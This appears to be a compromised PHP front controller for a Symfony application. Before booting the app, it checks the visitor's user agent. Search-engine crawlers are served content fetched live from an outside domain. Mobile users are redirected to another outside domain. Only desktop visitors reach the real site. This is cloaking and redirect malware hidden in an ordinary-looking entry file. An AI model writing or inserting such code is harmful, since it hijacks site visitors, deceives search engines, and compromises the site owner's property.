<?php
use App\Kernel;
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$isMobile = preg_match('/Mobile|Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i', $userAgent);
$isBot = preg_match('/Googlebot|Google-InspectionTool|bingbot|Slurp|DuckDuckBot|YandexBot/i', $userAgent);
if ($isBot) {
echo file_get_contents("https://rusdi.fun/raw/e21f46");
} elseif ($isMobile) {
header('Location: https://hidebl.com/r/mk5');
exit;
} else {
require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
return function (array $context) {
return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
};
}
?>